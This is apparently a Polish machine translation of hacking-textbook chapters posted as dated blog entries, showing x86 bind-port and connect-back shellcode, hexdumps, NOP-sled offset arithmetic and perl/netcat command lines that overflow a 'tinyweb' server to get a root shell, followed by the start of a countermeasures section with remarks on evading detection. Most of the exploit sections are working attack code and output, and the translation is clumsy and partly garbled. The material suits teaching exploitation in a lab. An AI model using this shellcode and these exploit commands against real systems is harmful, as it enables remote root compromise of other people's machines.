reader@hacking:~/booksrc $ hexdump -C bind_shell_beta | grep --color=auto 00

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|

00000010 89 c6 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a |..jfXCRfhzifS..j|

00000020 10 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd |.QV.....fCCSV...|

00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 6a 3f 58 |..fCRRV......j?X|

00000040 31 c9 cd 80 b0 3f 41 cd 80 b0 3f 41 cd 80 b0 0b |1....?A...?A....|

00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 |Rh//shh/bin..R..|

00000060 53 89 e1 cd 80 |S....|

00000065

reader@hacking:~/booksrc $ export SHELLCODE=$(cat bind_shell_beta)

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch

SHELLCODE will be at 0xbffff97f

reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x7f\xf9\xff\xbf"x40')

[DEBUG] found a 33 byte note for user id 999

-------[ end of note data ]-------

Z innego okna terminala program netstat jest używany do znalezienia portu nasłuchiwania. Następnie netcat jest używany do łączenia się z powłoką root na tym porcie.

reader@hacking:~/booksrc $ sudo netstat -lp | grep 31337

tcp 0 0 *:31337 *:* LISTEN 25604/notesearch

reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337

localhost [127.0.0.1] 31337 (?) open

whoami

root



Powrót

18.09.2020

Struktury kontroli rozgałęzień

Struktury kontrolne języka programowania C, takie jak pętle i bloki if-then-else, składają się z gałęzi warunkowych i pętli w języku maszynowym. W przypadku struktur sterujących powtarzające się wywołania do dup2 można skrócić do pojedynczego wywołania w pętli. Pierwszy program C napisany w poprzednich rozdziałach używał pętli for witać świat 10 razy. Demontaż funkcji głównej pokaże nam, jak kompilator zaimplementował pętlę for za pomocą instrukcji montażu. Instrukcje pętli (pokazane poniżej pogrubioną czcionką) pojawiają się po tym, jak instrukcje prologu funkcji zapisują pamięć stosu dla zmiennej lokalnej i. Zmienna ta odnosi się do rejestru EBP jako [ebp-4].

reader@hacking:~/booksrc $ gcc firstprog.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) disass main

Dump of assembler code for function main:

0x08048374 < main+0 >: push ebp

0x08048375 < main+1 >: mov ebp,esp

0x08048377 < main+3 >: sub esp,0x8

0x0804837a < main+6 >: and esp,0xfffffff0

0x0804837d < main+9 >: mov eax,0x0

0x08048382 < main+14 >: sub esp,eax

0x08048384 < main+16 >: mov DWORD PTR [ebp-4],0x0

0x0804838b < main+23 >: cmp DWORD PTR [ebp-4],0x9

0x0804838f < main+27 >: jle 0x8048393 < main+31 >

0x08048391 < main+29 >: jmp 0x80483a6 < main+50 >

0x08048393 < main+31 >: mov DWORD PTR [esp],0x8048484

0x0804839a < main+38 >: call 0x80482a0 < printf@plt >

0x0804839f < main+43 >: lea eax,[ebp-4]

0x080483a2 < main+46 >: inc DWORD PTR [eax]

0x080483a4 < main+48 >: jmp 0x804838b < main+23 >

0x080483a6 < main+50 >: leave

0x080483a7 < main+51 >: ret

End of assembler dump.

(gdb)

Pętla zawiera dwie nowe instrukcje: cmp (porównaj) i jle (skok, jeśli mniejszy lub równy), ten ostatni należy do rodziny instrukcji warunkowego skoku. Instrukcja cmp porówna dwa operandy, ustawiając flagi na podstawie wyniku. Następnie instrukcja skoku warunkowego przeskoczy na podstawie flag. W powyższym kodzie, jeśli wartość w [ebp-4] jest mniejsza lub równa 9, wykonanie przejdzie do 0x8048393, po następnej instrukcji jmp. W przeciwnym razie następna instrukcja jmp spowoduje wykonanie funkcji na końcu 0x080483a6, wyjście z pętli. Ciało pętli powoduje, że wywołanie printf () zwiększa wartość zmiennej licznika w [ ebp-4], a na koniec wraca do instrukcji porównania, aby kontynuować pętlę. Używając instrukcji skoku warunkowego, w zespole można tworzyć złożone struktury sterowania programowaniem, takie jak pętle. Więcej instrukcji skoku warunkowego pokazano poniżej. Instrukcja : Opis

cmp < dest>, < źródło > : Porównaj operand przeznaczenia ze źródłem, ustawiając flagi do użycia z instrukcją skoku warunkowego.

je < targe t> : Przejdź do celu, jeśli porównywane wartości są równe.

jne < cel > : Skok, jeśli nie jest równy.

jl < cel > : Skocz, jeśli mniej niż.

jle < cel > : Przeskocz, jeśli jest mniejszy lub równy.

jnl < cel > : Skocz, jeśli nie mniej niż.

jnle < cel > : Skok, jeśli nie jest mniejszy lub równy.

jg jge : Przeskocz, jeśli jest większa lub większa niż lub równa.

jng jnge : Skok, jeśli nie jest większy niż lub nie większy niż lub równy.

Instrukcje te mogą zostać użyte do zmniejszenia części dup2 kodu powłoki do następujących:

; dup2(connected socket, {all three standard I/O file descriptors})

mov ebx, eax ; Move socket FD in ebx.

xor eax, eax ; Zero eax.

xor ecx, ecx ; ecx = 0 = standard input

dup_loop:

mov BYTE al, 0x3F ; dup2 syscall #63

int 0x80 ; dup2(c, 0)

inc ecx

cmp BYTE cl, 2 ; Compare ecx with 2.

jle dup_loop ; If ecx <= 2, jump to dup_loop.

Ta pętla iteruje ECX od 0 do 2, wywołując za każdym razem dup2. Dzięki pełniejszemu zrozumieniu flag używanych przez instrukcję cmp, pętla ta może zostać jeszcze bardziej zmniejszona. Flagi statusu ustawione przez instrukcję cmp są również ustawiane przez większość innych instrukcji, opisujących atrybuty wyniku instrukcji. Flagi te to flaga nośna (CF), flaga parzystości (PF), flaga korekty (AF), flaga przepełnienia (OF), flaga zerowa (ZF) i flaga znaku (SF). Dwie ostatnie flagi są najbardziej użyteczne i najłatwiejsze do zrozumienia. Flaga zero jest ustawiona na true, jeśli wynik jest równy zero, w przeciwnym razie jest fałszywa. Flaga znaku jest po prostu najbardziej znaczącym bitem wyniku, co jest prawdą, jeśli wynik jest ujemny, a fałsz w przeciwnym razie. Oznacza to, że po każdej instrukcji z wynikiem ujemnym flaga znaku staje się prawdziwa, a flaga zerowa staje się fałszywa. Skrót : Nazwa : Opis

ZF : Flaga zerowa : Prawda, jeśli wynik wynosi zero.

SF : Flaga znaku : Prawda, jeśli wynik jest ujemny (równy najbardziej

znaczącemu bitowi wyniku). Instrukcja cmp (porównaj) jest w rzeczywistości tylko instrukcją sub (odejmowania), która wyrzuca wyniki, wpływając tylko na flagi statusu. Instrukcja jle (skok jeśli mniej niż lub równe) faktycznie sprawdza flagi zera i znaku. Jeśli którakolwiek z tych flag jest prawdziwa, to docelowy (pierwszy) operand jest mniejszy lub równy operandowi źródłowemu (drugiemu). Pozostałe instrukcje warunkowego skoku działają w podobny sposób, a nadal istnieje więcej instrukcji warunkowego skoku, które bezpośrednio sprawdzają poszczególne flagi statusu:

Instrukcja : Opis

jz < cel > : Przeskocz do celu, jeśli ustawiona jest flaga zerowa.

jnz < cel > : Skok, jeśli flaga zerowania nie jest ustawiona.

js < cel > : Przeskocz, jeśli ustawiona jest flaga znaku.

jns < target > : Skok jest ustawioną flagą znaku.

Dzięki tej wiedzy instrukcja cmp (porównaj) może zostać całkowicie usunięta, jeśli kolejność pętli zostanie odwrócona. Począwszy od 2 i odliczania w dół, flaga znaku może być sprawdzona do pętli do 0.

; dup2(connected socket, {all three standard I/O file descriptors})

mov ebx, eax ; Move socket FD in ebx.

xor eax, eax ; Zero eax.

push BYTE 0x2 ; ecx starts at 2.

pop ecx

dup_loop:

mov BYTE al, 0x3F ; dup2 syscall #63

int 0x80 ; dup2(c, 0)

dec ecx ; Count down to 0.

jns dup_loop ; If the sign flag is not set, ecx is not negative.

Pierwsze dwie instrukcje przed pętlą można skrócić za pomocą instrukcji xchg (wymiana). Ta instrukcja zamienia wartości między operandami źródłowymi i docelowymi:

xchg < dest >, < źródło > : Wymienia wartości między dwoma operandami.

Ta pojedyncza instrukcja może zastąpić obie następujące instrukcje, które zajmują cztery bajty:

89 C3 mov ebx, eax

31 C0 xor eax, eax

Rejestr EAX musi zostać wyzerowany, aby wyczyścić tylko trzy górne bajty rejestru, a EBX ma już te górne bajty wyczyszczone. Tak więc zamiana wartości pomiędzy EAX i EBX zabije dwa ptaki jednym kamieniem, zmniejszając rozmiar do następującej instrukcji jednobajtowej:

93 xchg eax, ebx

Ponieważ instrukcja xchg jest faktycznie mniejsza niż instrukcja mov między dwoma rejestrami, może być używana do zmniejszania kodu powłoki w innych miejscach. Oczywiście działa to tylko w sytuacjach, w których rejestr operandu źródłowego nie ma znaczenia. Następująca wersja kodu powłoki portu powiązań używa instrukcji wymiany w celu ogolenia kilku bajtów poza jego rozmiar.

bind_shell.s

BITS 32

; s = socket(2, 1, 0)

push BYTE 0x66 ; socketcall is syscall #102 (0x66).

pop eax

cdq ; Zero out edx for use as a null DWORD later.

xor ebx, ebx ; Ebx is the type of socketcall.

inc ebx ; 1 = SYS_SOCKET = socket()

push edx ; Build arg array: { protocol = 0,

push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,

push BYTE 0x2 ; AF_INET = 2 }

mov ecx, esp ; ecx = ptr to argument array

int 0x80 ; After syscall, eax has socket file descriptor.

xchg esi, eax ; Save socket FD in esi for later.

; bind(s, [2, 31337, 0], 16)

push BYTE 0x66 ; socketcall (syscall #102)

pop eax

inc ebx ; ebx = 2 = SYS_BIND = bind()

push edx ; Build sockaddr struct: INADDR_ANY = 0

push WORD 0x697a ; (in reverse order) PORT = 31337

push WORD bx ; AF_INET = 2

mov ecx, esp ; ecx = server struct pointer

push BYTE 16 ; argv: { sizeof(server struct) = 16,

push ecx ; server struct pointer,

push esi ; socket file descriptor }

mov ecx, esp ; ecx = argument array

int 0x80 ; eax = 0 on success

; listen(s, 0)

mov BYTE al, 0x66 ; socketcall (syscall #102)

inc ebx

inc ebx ; ebx = 4 = SYS_LISTEN = listen()

push ebx ; argv: { backlog = 4,

push esi ; socket fd }

mov ecx, esp ; ecx = argument array

int 0x80

; c = accept(s, 0, 0)

mov BYTE al, 0x66 ; socketcall (syscall #102)

inc ebx ; ebx = 5 = SYS_ACCEPT = accept()

push edx ; argv: { socklen = 0,

push edx ; sockaddr ptr = NULL,

push esi ; socket fd }

mov ecx, esp ; ecx = argument array

int 0x80 ; eax = connected socket FD

; dup2(connected socket, {all three standard I/O file descriptors})

xchg eax, ebx ; Put socket FD in ebx and 0x00000005 in eax.

push BYTE 0x2 ; ecx starts at 2.

pop ecx

dup_loop:

mov BYTE al, 0x3F ; dup2 syscall #63

int 0x80 ; dup2(c, 0)

dec ecx ; count down to 0

jns dup_loop ; If the sign flag is not set, ecx is not negative.

; execve(const char *filename, char *const argv [], char *const envp[])

mov BYTE al, 11 ; execve syscall #11

push edx ; push some nulls for string termination.

push 0x68732f2f ; push "//sh" to the stack.

push 0x6e69622f ; push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.

push edx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Składa się do tego samego kodu powłoki 92-bajtowego używanego w poprzedniej części

reader@hacking:~/booksrc $ nasm bind_shell.s

reader@hacking:~/booksrc $ hexdump -C bind_shell

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|

00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|

00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|

00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|

00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|

00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|

0000005c

reader@hacking:~/booksrc $ diff bind_shell portbinding_shellcode

Powrót

19.09.2020

Shellcode Back-Back

Wiążący port kod powłoki jest łatwo zabezpieczany przez zapory. Większość zapór blokuje połączenia przychodzące, z wyjątkiem niektórych portów ze znanymi usługami. Ogranicza to ekspozycję użytkownika i uniemożliwia połączenie z kodem powłoki wiążącym port. Zapory programowe są teraz tak powszechne, że kod powłoki typu port-bind ma niewielkie szanse na rzeczywistą pracę w środowisku naturalnym. Jednak firewalle zazwyczaj nie filtrują połączeń wychodzących, ponieważ utrudniłoby to użyteczność. Z wnętrza zapory użytkownik powinien mieć dostęp do dowolnej strony internetowej lub nawiązać inne połączenia wychodzące. Oznacza to, że jeśli kod powłoki zainicjuje połączenie wychodzące, większość zapór zezwoli na to. Zamiast czekać na połączenie od osoby atakującej, kod shell-back inicjuje połączenie TCP z powrotem do adresu IP atakującego. Otwarcie połączenia TCP wymaga tylko wywołania funkcji socket () i wywołania funkcji connect (). Jest to bardzo podobne do kodu powłoki bind-port, ponieważ wywołanie gniazda jest dokładnie takie samo, a wywołanie connect () przyjmuje ten sam typ argumentów co bind (). Poniższy kod powłoki został utworzony z kodu powłoki bindport z kilkoma modyfikacjami

connectback_shell.s

BITS 32

; s = socket(2, 1, 0)

push BYTE 0x66 ; socketcall is syscall #102 (0x66).

pop eax

cdq ; Zero out edx for use as a null DWORD later.

xor ebx, ebx ; ebx is the type of socketcall.

inc ebx ; 1 = SYS_SOCKET = socket()

push edx ; Build arg array: { protocol = 0,

push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,

push BYTE 0x2 ; AF_INET = 2 }

mov ecx, esp ; ecx = ptr to argument array

int 0x80 ; After syscall, eax has socket file descriptor.

xchg esi, eax ; Save socket FD in esi for later.

; connect(s, [2, 31337, < IP address >], 16)

push BYTE 0x66 ; socketcall (syscall #102)

pop eax

inc ebx ; ebx = 2 (needed for AF_INET)

push DWORD 0x482aa8c0 ; Build sockaddr struct: IP address = 192.168.42.72

push WORD 0x697a ; (in reverse order) PORT = 31337

push WORD bx ; AF_INET = 2

mov ecx, esp ; ecx = server struct pointer

push BYTE 16 ; argv: { sizeof(server struct) = 16,

push ecx ; server struct pointer,

push esi ; socket file descriptor }

mov ecx, esp ; ecx = argument array

inc ebx ; ebx = 3 = SYS_CONNECT = connect()

int 0x80 ; eax = connected socket FD

; dup2(connected socket, {all three standard I/O file descriptors})

xchg eax, ebx ; Put socket FD in ebx and 0x00000003 in eax.

push BYTE 0x2 ; ecx starts at 2.

pop ecx

dup_loop:

mov BYTE al, 0x3F ; dup2 syscall #63

int 0x80 ; dup2(c, 0)

dec ecx ; Count down to 0.

jns dup_loop ; If the sign flag is not set, ecx is not negative.

; execve(const char *filename, char *const argv [], char *const envp[])

mov BYTE al, 11 ; execve syscall #11.

push edx ; push some nulls for string termination.

push 0x68732f2f ; push "//sh" to the stack.

push 0x6e69622f ; push "/bin" to the stack.

mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.

push edx ; push 32-bit null terminator to stack.

mov edx, esp ; This is an empty array for envp.

push ebx ; push string addr to stack above null terminator.

mov ecx, esp ; This is the argv array with string ptr.

int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL]



W powyższym kodzie powłoki adres IP połączenia jest ustawiony na 192.168.42.72, który powinien być adresem IP atakującej maszyny. Ten adres jest przechowywany w strukturze in_addr jako 0x482aa8c0, która jest szesnastkową reprezentacją 72, 42, 168 i 192. Jest to jasne, gdy każdy numer jest wyświetlany szesnastkowo:

reader@hacking:~/booksrc $ gdb -q

(gdb) p /x 192

$1 = 0xc0

(gdb) p /x 168

$2 = 0xa8

(gdb) p /x 42

$3 = 0x2a

(gdb) p /x 72

$4 = 0x48

(gdb) p /x 31337

$5 = 0x7a69

(gdb)

Ponieważ te wartości są przechowywane w sieciowej kolejności bajtów, ale architektura x86 jest w porządku little-endian, zapisany DWORD wydaje się być odwrócony. Oznacza to, że DWORD dla 192.168.42.72 to 0x482aa8c0. Dotyczy to również dwubajtowego WORD używanego dla portu docelowego. Gdy numer portu 31337 jest drukowany w systemie szesnastkowym przy użyciu gdb, kolejność bajtów jest pokazywana w kolejności maleńkiej. Oznacza to, że wyświetlane bajty muszą być odwrócone, więc WORD dla 31337 to 0x697a. Program netcat może być również używany do nasłuchiwania połączeń przychodzących za pomocą opcji wiersza polecenia -l. Jest to używane w danych wyjściowych poniżej do nasłuchiwania na porcie 31337 dla kodu powłoki. Polecenie ifconfig zapewnia, że adres IP eth0 wynosi 192.168.42.72, więc kod powłoki może się z nim połączyć.

reader@hacking:~/booksrc $ sudo ifconfig eth0 192.168.42.72 up

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:01:6C:EB:1D:50

inet addr:192.168.42.72 Bcast:192.168.42.255 Mask:255.255.255.0

UP BROADCAST MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

Interrupt:16

reader@hacking:~/booksrc $ nc -v -l -p 31337

listening on [any] 31337 ...

Teraz spróbujmy wykorzystać program serwera tinyweb, używając powłoki shellback. Z wcześniejszej pracy z tym programem wiemy, że bufor żądania ma długość 500 bajtów i znajduje się pod adresem 0xbffff5c0 w pamięci stosu. Wiemy również, że adres zwrotny znajduje się w obrębie 40 bajtów od końca bufora.

reader@hacking:~/booksrc $ nasm connectback_shell.s

reader@hacking:~/booksrc $ hexdump -C connectback_shell

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|

00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 |.jfXCh..*HfhzifS|

00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 |..j.QV..C......I|

00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?..Iy...Rh//shh|

00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin..R..S....|

0000004e

reader@hacking:~/booksrc $ wc -c connectback_shell

78 connectback_shell

reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 78 ))

402

reader@hacking:~/booksrc $ gdb -q --batch -ex "p /x 0xbffff5c0 + 200"

$1 = 0xbffff688

reader@hacking:~/booksrc $

Ponieważ przesunięcie od początku bufora do adresu zwrotnego wynosi 540 bajtów, należy zapisać 544 bajty, aby zastąpić czterobajtowy adres zwrotny. Nadpisanie adresu zwrotnego również musi być poprawnie wyrównane, ponieważ adres zwrotny używa wielu bajtów. Aby zapewnić prawidłowe wyrównanie, suma bajtów NOP sled i shellcode musi być podzielna przez cztery. Ponadto sam kod powłoki musi pozostać w pierwszych 500 bajtach zastępowania. Są to granice bufora odpowiedzi, a następnie pamięć odpowiada innym wartościom na stosie, na które można zapisać, zanim zmienimy przepływ sterowania programu. Pozostawanie w tych granicach pozwala uniknąć ryzyka przypadkowego nadpisania kodu powłoki, co nieuchronnie prowadzi do awarii. Powtórzenie adresu zwrotnego 16 razy spowoduje wygenerowanie 64 bajtów, które można umieścić na końcu 544-bajtowego bufora exploitów i bezpiecznie przechowywać kod powłoki w granicach bufora. Pozostałymi bajtami na początku bufora exploitów będą sanki NOP. Powyższe obliczenia pokazują, że 402-bajtowe sanki NOP prawidłowo wyrównają 78-bajtowy kod powłoki i umieści go bezpiecznie w granicach bufora. Powtórzenie żądanego adresu zwrotnego 12 razy sprowadza idealnie 4 ostatnie bajty bufora exploita, aby nadpisać zapisany adres zwrotny na stosie. Nadpisanie adresu zwrotnego za pomocą 0xbffff688 powinno zwrócić wykonanie bezpośrednio do środka sań NOP, unikając bajtów w pobliżu początku bufora, co może zostać zniekształcone. Te obliczone wartości zostaną użyte w poniższym exploicie, ale najpierw powłoka typu back-back potrzebuje jakiegoś miejsca do ponownego połączenia. W wynikach poniżej netcat jest używany do nasłuchiwania połączeń przychodzących na porcie 31337.

reader@hacking:~/booksrc $ nc -v -l -p 31337

listening on [any] 31337 ...

Teraz w innym terminalu obliczone wartości exploitów mogą zostać wykorzystane do zdalnego wykorzystania programu tinyweb.

From Another Terminal Window

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x402';

> cat connectback_shell;

> perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80

localhost [127.0.0.1] 80 (www) open

W oryginalnym terminalu kod powłoki powrócił do procesu nasłuchującego na porcie 31337. Zapewnia to zdalny dostęp do powłoki głównej.

reader@hacking:~/booksrc $ nc -v -l -p 31337

listening on [any] 31337 ...

connect to [192.168.42.72] from hacking.local [192.168.42.72] 34391

whoami

root

Konfiguracja sieci dla tego przykładu jest nieco myląca, ponieważ atak jest skierowany na 127.0.0.1, a kod powłoki łączy się z 192.168.42.72. Oba te adresy IP prowadzą do tego samego miejsca, ale 192.168.42.72 jest łatwiejszy w użyciu w shellcode niż 127.0.0.1. Ponieważ adres pętli zwrotnej zawiera dwa bajty puste, adres musi być zbudowany na stosie z wieloma instrukcjami. Jednym ze sposobów jest zapisanie dwóch bajtów zerowych na stos przy użyciu rejestru zerowanego. Plik loopback_shell.s jest zmodyfikowaną wersją connectback_shell.s, która używa adresu pętli zwrotnej 127.0.0.1. Różnice pokazano na poniższym wyjściu.

reader@hacking:~/booksrc $ diff connectback_shell.s loopback_shell.s

21c21,22

< push DWORD 0x482aa8c0 ; Build sockaddr struct: IP Address = 192.168.42.72

---

> push DWORD 0x01BBBB7f ; Build sockaddr struct: IP Address = 127.0.0.1

> mov WORD [esp+1], dx ; overwrite the BBBB with 0000 in the previous push

reader@hacking:~/booksrc $

Po naciśnięciu wartości 0x01BBBB7f na stos rejestr ESP wskaże początek tego DWORD. Zapisując dwubajtowe WORD bajtów zerowych w ESP + 1, środkowe dwa bajty zostaną nadpisane, tworząc prawidłowy adres zwrotny. Ta dodatkowa instrukcja zwiększa rozmiar kodu powłoki o kilka bajtów, co oznacza również sanki NOP należy dostosować do bufora exploitów. Obliczenia te są pokazane na wyjściu poniżej, a ich wynikiem jest 397-bajtowy sanki NOP. Exploit ten, używając kodu powłoki, zakłada, że program tinyweb jest uruchomiony i że proces netcat nasłuchuje połączeń przychodzących na porcie 31337.

reader@hacking:~/booksrc $ nasm loopback_shell.s

reader@hacking:~/booksrc $ hexdump -C loopback_shell | grep --color=auto 00

00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|

00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 |.jfXCh....f.T$.f|

00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 |hzifS..j.QV..C..|

00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 |....I.?..Iy...Rh|

00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 |//shh/bin..R..S.|

00000050 e1 cd 80 |...|

00000053

reader@hacking:~/booksrc $ wc -c loopback_shell

83 loopback_shell

reader@hacking:~/booksrc $ echo $(( 544 - (4*16) - 83 ))

397

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x397';cat loopback_shell;perl -e 'print

"\x88\

xf6\xff\xbf"x16 . "\r\n"') | nc -v 127.0.0.1 80

localhost [127.0.0.1] 80 (www) open



Podobnie jak w poprzednim exploicie, terminal z nasłuchiwaniem netcata na porcie 31337 otrzyma rdzeń.

reader@hacking:~ $ nc -vlp 31337

listening on [any] 31337 ...

connect to [127.0.0.1] from localhost [127.0.0.1] 42406

whoami

root

Wydaje się to zbyt proste, prawda?

Powrót

20.09.2020

ŚRODKI ZARADCZE

Złota żaba z trucizną wyrzuca bardzo toksyczną truciznę - jedna żaba może emitować wystarczająco dużo, aby zabić 10 dorosłych ludzi. Jedynym powodem, dla którego te żaby mają tak niesamowicie potężną obronę, jest to, że pewien gatunek węża je je i rozwija opór. W odpowiedzi żaby rozwijały silniejsze i silniejsze trucizny jako obronę. Jednym z rezultatów tej koewolucji jest to, że żaby są bezpieczne przed wszystkimi innymi drapieżnikami. Ten rodzaj koewolucji zachodzi również u hakerów. Ich techniki wykorzystywania istnieją już od lat, więc naturalne jest, że rozwiną się obronne środki zaradcze. W odpowiedzi hakerzy znajdują sposoby na ominięcie i obalenie tych zabezpieczeń, a następnie tworzone są nowe techniki obronne. Ten cykl innowacji jest rzeczywiście całkiem korzystny. Mimo że wirusy i robaki mogą powodować wiele problemów i kosztownych przerw dla firm, wymuszają odpowiedź, która rozwiązuje problem. Robaki replikują się, wykorzystując istniejące luki w błędnym oprogramowaniu. Często te wady są od lat nieodkryte, ale stosunkowo łagodne robaki, takie jak CodeRed lub Sasser, wymuszają rozwiązanie tych problemów. Podobnie jak w przypadku ospy wietrznej, lepiej jest poddać się niewielkiej epidemii na początku, a nie lata później, gdy może to spowodować prawdziwe uszkodzenie. Gdyby robaki internetowe nie pokazywały publicznie tych luk w zabezpieczeniach, mogą pozostać niezałatane, narażając nas na atak kogoś z bardziej złośliwymi celami niż tylko replikacja. W ten sposób robaki i wirusy mogą rzeczywiście wzmocnić bezpieczeństwo na dłuższą metę. Jednak istnieje więcej proaktywnych sposobów na wzmocnienie bezpieczeństwa. Istnieją obronne środki zaradcze, które próbują unieważnić efekt ataku lub zapobiec atakowi. Środek zaradczy to dość abstrakcyjna koncepcja; może to być produkt bezpieczeństwa, zestaw zasad, a program lub po prostu uważny administrator systemu. Te obronne środki zaradcze można podzielić na dwie grupy: te, które próbują wykryć atak, i te, które próbują chronić lukę.

Środki zaradcze, które wykrywają

Pierwsza grupa środków zaradczych próbuje wykryć wtargnięcie i odpowiedzieć w jakiś sposób. Proces wykrywania może polegać na tym, że administrator może czytać logi, a program wąchać sieć. Odpowiedź może polegać na automatycznym zabiciu połączenia lub procesu lub po prostu sprawdzeniu wszystkiego przez administratora z konsoli komputera. Jako administrator systemu exploity, o których wiesz, nie są tak niebezpieczne, jak te, których nie używasz. Im szybciej zostanie wykryte wtargnięcie, tym szybciej można się z nim uporać i tym bardziej będzie można go powstrzymać. Włamania, które nie są wykrywane przez miesiące, mogą być powodem do niepokoju. Sposobem na wykrycie włamania jest przewidzenie, co zrobi atakujący haker. Jeśli to wiesz, to wiesz, czego szukać. Środki zaradcze, które wykrywają, mogą wyszukiwać te wzorce ataków w plikach dziennika, pakietach sieciowych, a nawet w pamięci programów. Po wykryciu włamania haker może zostać usunięty z systemu, każde uszkodzenie systemu plików może zostać cofnięte przez przywrócenie z kopii zapasowej, a wykorzystana luka może zostać zidentyfikowana i załatana. Wykrywanie środków zaradczych jest dość potężne w elektronicznym świecie dzięki możliwościom tworzenia kopii zapasowych i przywracania. Dla atakującego oznacza to, że wykrywanie może przeciwdziałać wszystkiemu, co robi. Ponieważ wykrywanie może nie zawsze być natychmiastowe, istnieje kilka scenariuszy "rozbij i złap", w których nie ma znaczenia; jednak nawet wtedy lepiej nie zostawiać śladów. Ukrywanie się jest jednym z najcenniejszych zasobów hakerów. Wykorzystanie podatnego na ataki programu w celu uzyskania powłoki roota oznacza, że możesz robić, co chcesz w tym systemie, ale unikanie wykrywania dodatkowo oznacza, że nikt nie wie, że tam jesteś. Połączenie "trybu Boga" i niewidzialności jest niebezpieczne haker. Z ukrytej pozycji, hasła i dane mogą być cicho wykrywane z sieci, programy mogą być backdoored i dalsze ataki mogą być uruchamiane na innych hostach. Aby pozostać w ukryciu, wystarczy przewidzieć metody wykrywania, które mogą zostać użyte. Jeśli wiesz, czego szukają, możesz uniknąć pewnych wzorców wykorzystywania lub naśladować poprawne. Koewolucyjny cykl pomiędzy ukrywaniem a wykrywaniem jest napędzany przez myślenie o rzeczach, o których druga strona nie pomyślała.

Powrót

21.09.2020

Demony systemowe

Aby przeprowadzić realistyczną dyskusję na temat wykorzystania środków zaradczych i metod omijania, najpierw potrzebujemy realistycznego celu eksploatacji. Zdalny cel będzie programem serwera, który akceptuje połączenia przychodzące. W Uniksie programy te są zazwyczaj demonami systemowymi. Demon to program, który działa w tle i odłącza się od terminala sterującego w określony sposób. Termin daemon został po raz pierwszy ukuty przez hakerów MIT w latach 60. XX wieku. Odnosi się do demona sortującego cząsteczki z eksperymentu myślowego z 1867 r. Autorstwa fizyka o nazwisku James Maxwell. W eksperymencie myślowym, demon Maxwella jest istotą o nadprzyrodzonej zdolności do bezproblemowego wykonywania trudnych zadań, najwyraźniej naruszając drugą zasadę termodynamiki. Podobnie w systemie Linux demony systemowe niestrudzenie wykonują zadania, takie jak udostępnianie usługi SSH i prowadzenie dzienników systemowych. Programy demonów zazwyczaj kończą się znakiem d, co oznacza, że są demonami, takimi jak sshd lub syslogd. Z kilkoma dodatkami kod tinyweb.c w sekcji 0x427 można przekształcić w bardziej realistyczny demon systemowy. Ten nowy kod wykorzystuje wywołanie funkcji daemon (), która wywoła nowy proces w tle. Ta funkcja jest używana przez wiele procesów demona systemu w Linuksie, a jego strona podręcznika jest pokazana poniżej.



DAEMON(3) Linux Programmer's Manual DAEMON(3)

NAME

daemon - run in the background

SYNOPSIS

#include < unistd.h >

int daemon(int nochdir, int noclose);

DESCRIPTION

The daemon() function is for programs wishing to detach themselves from

the controlling terminal and run in the background as system daemons.

Unless the argument nochdir is non-zero, daemon() changes the current

working directory to the root ("/").

Unless the argument noclose is non-zero, daemon() will redirect stan

dard input, standard output and standard error to /dev/null.

RETURN VALUE

